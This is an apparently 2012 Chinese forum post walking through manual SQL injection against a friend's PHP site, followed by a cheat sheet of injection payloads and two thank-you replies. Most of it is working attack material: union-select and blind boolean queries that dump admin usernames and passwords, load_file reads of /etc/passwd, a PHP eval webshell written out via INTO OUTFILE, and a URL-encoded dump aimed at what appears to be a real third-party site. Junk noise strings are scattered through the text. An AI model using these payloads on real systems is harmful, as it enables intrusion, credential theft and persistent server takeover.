标题: 手工注入拿下一站 [打印本页] 作者: admin 时间: 2012-9-23 14:47 标题: 手工注入拿下一站 我一个朋友维护一个站点，他对安全不是很懂，就像我一样，呵呵 ！O(∩_∩)O~! \. C) G$ y5 B- G# [* f1 a4 v
让我看看，既然人家开口了，我也不好拒绝，那就看看吧？ ) G! d" V$ J* h5 u我个人喜欢先看有没有上传的地方（上传可是好东西，可以直接拿shell'），其次就是看看什么程序，有没有通杀，然后就是后台，最后看看注入。。。。3 B) Y) h2 R9 |+ G- }! t1 w3 X. E
如果是php程序我会先找注入，呵呵！（这个不用我说你们也知道是什么原因咯，废话了，主题开始。。。） + ?1 w2 J3 H" d; ~2 a# ]9 {1.打开地址，发现是php程序，呵呵.既然是php程序，先找找注入吧？看看有没有交互的地方，（所谓交互就是像news.php?id=1，news.asp？id=1这样的，） & r% X8 _! n M$ l7 Y) u# @4 h这个站很悲剧，随便点开一个链接加一个 ’ 结果悲剧了，爆出：5 \7 S# m+ [/ E4 y& A7 {2 I
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in - ]8 C! g' V f# P' n/data/home/nus42j1/htdocs/news.php on line 59 ，物理路径出来了，到这一步啊，已经可以证实存在注入$ K( H8 E$ N0 `1 h s' e; j
6 d" i# r6 ^, l! t7 B
2.不过既然是学习，我们就要一步一步的来，还是老规矩 and 1=1 ，and 1=2 ，返回结果不一样，证明存在注入，; m7 h( {, _$ |) }' \' R, B
3.下一步很自然的查询字段数：用order by+二分法，加上order by 8 返回正常，order by 9 不正常。说明字段数为8 ，继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3 ，一个5 ，说明可以利用字段数才两个，有时候会有很多个哦，要注意 ( n, `4 {& y9 ? e. d# s4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ，当然还有database(),等等.......返回版本，用户等等系列信息; }: A( F$ o0 ?
5.rp差了一点，不是root权限，不过版本大于5.0，支持虚拟库information_schema。 : q* \# w/ ]5 V( g5 ^) x3 b有两种思路：1.使用Load_file函数获取数据库账号密码，通过操作数据库获取webshell，7 L0 c9 W& l# y% |6 F- m
2.继续爆出数据库里的表名和列名，登陆后台想办法上传获取webshell。 & V% U0 b/ d4 o, e7 v E4 t" ?我就用的是第二个思路， , c b$ H5 a1 M提交and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables where table_schema=database() limit 0,1-- ( `1 z( N# T6 N `, ^
6.由于数据库表比较多，这里有48个表，我只是做检测，原理是这样，剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名，然后是获取表里的字段，1 x( L; t8 g- F6 L5 X
提交：and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--; u# e. c/ t; |" |- z: @
注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示，得到密码账号后就到md5破解网站进行破解。9 U" m& z* ]0 @8 N
7.到这里呢我该结束了，还要提供给我朋友修补的意见，不过写了这么多了，也不怕在写一点，延伸思路，如果你的密文md5破不出来呢？？？？怎么办？？？？ b2 E1 \( i/ e. q是不是放弃了，当然不是，看看开了什么端口，如果是centos，lamp环境。我们自然是用load_file了，先验证有读的权限， /etc/passwd..... % K. g4 i# U1 A) S' p提交：and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --) }2 a, T5 Q7 Z/ p9 J& t9 M
然后你就找你要的信息，主要是一些敏感文件，还有就是有没有前辈留下的东西，比如某些记录口令保存在本地的东东，我们还可以通过操作数据库备份出来一个shell，, y/ n: y/ q: q, A# J' x% m4 Q
调出mysql命令，执行：Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ，也可以分步执行建立一个临时表插入一句话，然后备份，前者比较简单并且不容易误删什么东西。前提是我们要有写入权限...... ) D. w2 a1 M" y5 n4 u# B. _下面是一些很普遍注入方式资料： & v- R0 [( L# ^9 P* v4 h注意：对于普通的get注入，如果是字符型，前加' 后加 and ''='% M8 q# B% l6 v! H0 S. q
拆半法 $ T7 e0 n6 u+ M+ Z# H! j: U- k/ p2 K3 p######################################; ~& a5 W+ F5 t; s
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库，MSysAccessObjects是ACCESS的默认表。 2 _% ^# C) P- K8 U. y% Band exists (select * from admin) 8 h* U- I# z+ {& land exists(select id from admin)* o. W) q; Y; W5 V- {! t" t2 F ^
and exists(select id from admin where id=1) . r4 y8 ]4 Y* m$ X5 tand exists(select id from admin where id>1) ( ]! }- i" c1 ? Y' I, O
然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围 + g) _8 P/ D& }6 E1 p* k2 g6 V7 W
and exists (select username from admin) 9 D% I9 E. ]1 kand exists (select password from admin)4 } j* q; l1 ^( G/ Y& a
and exists (select id from admin where len(username)<10 and id=1) ) F, I2 P' H- Fand exists (select id from admin where len(username)>5 and id=1)8 k5 V- `1 ?6 w( H
and exists (select id from admin where len(username)=6 and id=1)/ D! T( M- Q; [7 j
and exists (select id from admin where len(password)<10 and id=1)* i. L- p2 \& a5 V$ |
and exists (select id from admin where len(password)>5 and id=1) 4 N( h4 G6 N7 x3 ~and exists (select id from admin where len(password)=7 and id=1)1 g0 h; p! w2 x t8 p! d
and (select top 1 asc(mid(username,1,1)) from admin)=97 + M; c- v$ x/ j$ M返回了正常，说明第一username里的第一位内容是ASC码的97，也就是a。 2 J2 T8 a6 `4 H+ o& a* m+ H/ u猜第二位把username,1,1改成username,2,1就可以了。/ T. v+ }. m: g Q
猜密码把username改成password就OK了3 l- r6 m8 E' z/ k. L. Z
##################################################% }" F# I1 `; j1 K, f
搜索型注入 + V, Q0 a6 `& r. o1 L################################## % d# A0 R" U2 ~& q y3 [4 D! T%' and 1=1 and '%'='* Z5 o G/ x% h: b+ I. n
%' and exists (select * from admin) and '%'='7 ]# f" e( H" L6 @1 B6 l# v' p
%' and exists(select id from admin where id=1) and '%'='! E) B! \& n' T( X# C
%' and exists (select id from admin where len(username)<10 and id=1) and '%'=' 0 ^7 J9 z, S3 M- N%' and exists (select id from admin where len(password)=7 and id=1) and '%'='9 r5 r2 m; H9 e1 w, ^ O
%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'=' * U0 [- Y6 a1 J$ j, ^4 f4 v" v这里也说明一下，搜索型注入也无他，前加%' 后加 and '%'='$ f/ c" B# a; }- A! ~
对于MSSQL数据库，后面可以吧 and '%'='换成-- ' @& ]" t' Y+ N+ }; i5 `还有一点搜索型注入也可以使用union语句。 M; Y* J! s6 R5 y4 p
######################################################## ; P8 v6 n+ O8 k联合查询。 " T8 L! k1 ~1 V) p& s- L#####################################& g3 F& C* {; [$ C. y
order by 10' Y7 t6 E! i' E
and 1=2 union select 1,2,3,4,5,6,7,8,9,10& v8 D6 c6 [9 ~6 B0 ]
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin/ | K0 l, o. u3 @. s( l* j$ L
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1# o, X- W, @- u
很简单。有一点要说明一下，where id=1 这个是爆ID=1的管理员的时候，where id=1就是爆ID=2的管理用的，一般不加where id=1这个限制语句，应该是爆的最前面的管理员吧！（注意，管理的id是多少可不一定哈,说不定是100呢！）- o6 M: Q0 r+ { n2 c& U
################################### 7 R9 B9 I. V/ B4 jcookie注入6 [' m, Z' L; J$ T; \
###############################, a) h9 A# O' D& I
http://www.******.com/shownews.asp?id=127 5 E. \% u0 w7 {6 A8 l& jhttp://www.******.com/shownews.asp* b7 D, \" e1 H& X6 k5 K' E
alert(="id="+escape("127"));: `9 m$ k' ?" g, S7 Z% E- U" A
alert(="id="+escape("127 and 1=1")); 5 L/ P0 p' g2 C% D( Calert(="id="+escape("127 order by 10"));5 M* X: Y y" T( W* k$ L2 `# i
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));: n) a2 @1 Y. ^2 X, z
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));2 A+ @7 C$ @8 u& _' N4 ]
这些东西应该都不用解释了吧，给出语句就行了吧。这里还是用个联合查询，你把它换成拆半也一样，不过不太适合正常人使用，因为曾经有人这样累死过。 # [6 }8 X4 P/ u" @% {7 ~0 K4 ?7 J; N5 a################################### 1 U) R, M" l# [# W4 ]7 f偏移注入# K6 B6 M' D. P9 `6 I
###########################################################4 n! a% X: Y+ t+ p
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin9 l; g% P1 p7 j: V4 G2 F: _ [
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin ' ?, d; q8 H7 B( N: Punion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id) m [6 n4 i d c& x
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)3 [" g j% `/ b& J$ q
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) ' y: e% p, @6 ~. ]3 F2 Zunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)9 X# k3 A* V+ Q9 W& g& O8 w4 M% f5 f
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on # Y/ ]9 o) f; Ya.id=d.id)1 e; }- ~& U% L4 V% S- f
and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id) 0 O8 }) W3 \+ m- u, e5 Qand 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) # V. D+ y- U" K2 p: m, n
$ F! ?6 P5 [) B( I! }/ e============================================================================================================ 0 Y0 F: z( V+ n/ t( C" D. c, [1.判断版本1 m O* o& A' R4 [- ]
and ord(mid(version(),1,1))>51( v& l! u% Y, Y @
返回正常，说明大于4.0版本，支持ounion查询 * H; m6 B- B+ r% _6 w7 {3 S0 Z/ I& K2.猜解字段数目,用order by也可以猜，也可以用union select一个一个的猜解 g6 ?! s. P# q# Z6 hand 2=4 union select 1,2,3,4,5,6,7,8,9-- 7 Q6 y2 L ? ]3.查看数据库版本及当前用户， + I; q0 g7 {( o3 `" wand 2=4 union select 1,user(),version(),4,5,6,7,8,9-- - U6 `; \3 A5 G$ K2 m" l3 d5 J数据库版本5.1.35，据说mysql4.1以上版本支持concat函数，我也不知道是真是假， 8 L# E1 s/ e- b4.判断有没有写权限 4 ^& `% |/ f8 G/ I! s2 w/ Sand (select count(*) from MySQL.user)>0-- 0 L1 y1 `4 Y- l, q0 ?$ z
5.查库，以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1 5 g* g. w; w6 a: ^用不了这个命令，就学习土耳其黑客手法，如下 9 ]$ S/ n+ M9 Fand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns-- 8 e n" A3 Y0 D5 F% G3 R* \: ~6.爆表，爆库 + @; y3 _3 ^1 g7 {3 h0 Uand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274-- / A W2 U2 o# B u" H% H5 f; b9 X7.爆列名，爆表 + W1 k9 |8 {9 M- K$ b$ W7 rand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973-- 2 A* E5 q4 H! F) v2 i: j8.查询字段数，直接用limit N,1去查询，直接N到报错为止。0 B. R' t+ _/ D0 n% {6 y
and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys-- 8 k l# t# t+ O. ?. h. N4 y9.爆字段内容 % L I9 O+ R; p5 tand+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1-- % o% K* [, m k4 F; Xhttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--作者: xiancda 时间: 2012-9-24 21:40
非常好的归纳。坐下慢慢看~作者: wuyu 时间: 2012-9-25 18:53
谢谢分享，学习思路啊